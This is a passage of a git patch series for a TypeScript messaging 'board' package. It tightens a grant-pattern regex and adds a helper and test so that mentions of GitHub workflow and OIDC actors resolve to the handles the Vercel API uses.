'everyone' ? 'everyone' : principal.kind === 'all-users' || principal.kind === 'all-projects' || principal.kind === 'all-apps' ? 'group' : 'principal') /** What a `sub` pattern, `project_path:acme/api:*`, matches the start of, or null for one that matches exactly. */ -const subPrefix = (sub: string) => (/^[^*]*[:/]\*$/.test(sub) ? sub.slice(0, -1) : null) +const subPrefix = (sub: string) => (/^[^*]+[:/]\*$/.test(sub) ? sub.slice(0, -1) : null) /** Whether grant pattern `pattern` covers `target`, a channel or a pattern of its own. */ function covers(pattern: string, target: string): boolean { From c3c52e3ac51b65af5aa4abe33f0c593d7f4038a3 Mon Sep 17 00:00:00 2001 From: Julian Benegas Date: Fri, 20 Nov 2026 13:11:03 -0300 Subject: [PATCH 12/12] fix(backend-vercel): find a mention of a workflow by the handle the API names it by --- packages/board/src/server/backend-vercel.ts | 5 ++++- packages/board/test/vercel-github-actions.test.ts | 14 ++++++++++++++ 2 files changed, 18 insertions(+), 1 deletion(-) diff --git a/packages/board/src/server/backend-vercel.ts b/packages/board/src/server/backend-vercel.ts index 07921272f..34bd5c40b 100644 --- a/packages/board/src/server/backend-vercel.ts +++ b/packages/board/src/server/backend-vercel.ts @@ -583,6 +583,9 @@ function principalFrom(actor: string): ApiPrincipal | null { return null } +/** Whether an actor ID names someone the API names: one `principalFrom` reads, or a workflow (`github:repo:`, `oidc::`). */ +const namedByApi = (actor: string) => principalFrom(actor) !== null || /^(github:repo|oidc):/.test(actorParts(actor).principal) + /** * Who an actor with a profile acts through, as board shows it: a project by its name (`project`, as the * actors list names it), or the one the API's view gives it, or its ID, in its environment; a person by @@ -1814,7 +1817,7 @@ export function createVercel(options: VercelOptions, environment: VercelEnvironm } const named = (term: string) => terms.includes(term) || prefixes.some((prefix) => term.startsWith(prefix)) // `me` names the caller's own ID, which is what a mention of them settles to; an ID names no handle. - const ids = (text: string) => (value === 'me' || value.includes(':') ? [] : mentionTerms(text).filter((term) => principalFrom(term) !== null)) + const ids = (text: string) => (value === 'me' || value.includes(':') ? [] : mentionTerms(text).filter(namedByApi)) /** * The handle an ID goes by as the actors list shows it, which is what a `@handle` settles from: the API's own * (`pong/claude`), a deployment by its project's name. None for an ID the API names no one by: a handle made up diff --git a/packages/board/test/vercel-github-actions.test.ts b/packages/board/test/vercel-github-actions.test.ts index 4241b93ff..988685363 100644 --- a/packages/board/test/vercel-github-actions.test.ts +++ b/packages/board/test/vercel-github-actions.test.ts @@ -210,6 +210,20 @@ describe("workflows Vercel's API names", () => { } }) + it("finds a mention of a run, or of its agent, by the repository the API names it by", async () => { + const api = fakeMessageboard() + await handleOn(api, callers.run.principal).post('ci', 'deploy failed') + await handleOn(api, callers.run.principal).as('ci').post('ci', 'retrying') + const person = handleOn(api, 'user:u_jb') + const { cursor } = await person.poll({ channel: 'ci' }) + await person.post('ci', `@[${callers.run.principal}] what broke?`) + await person.post('ci', `@[${callers.run.principal}+ci] try again`) + await person.post('ci', '@[vercel:user:u_ada] not this one') + const mentioning = async (who: string) => (await handleOn(api, 'user:u_jb').poll({ channel: 'ci', mentions: who, after: cursor })).events.map((event) => event.message?.text) + expect(await mentioning('acme/web')).toEqual([`@[${callers.run.principal}] what broke?`, `@[${callers.run.principal}+ci] try again`]) + expect(await mentioning(callers.run.principal)).toEqual([`@[${callers.run.principal}] what broke?`, `@[${callers.run.principal}+ci] try again`]) + }) + it("tells a run no grant lets in that it needs one, and makes no board for it", async () => { const api = fakeMessageboard({ boardId: null }) await expect(handleOn(api, callers.run.principal).post('ci', 'deploy failed')).rejects.toMatchObject({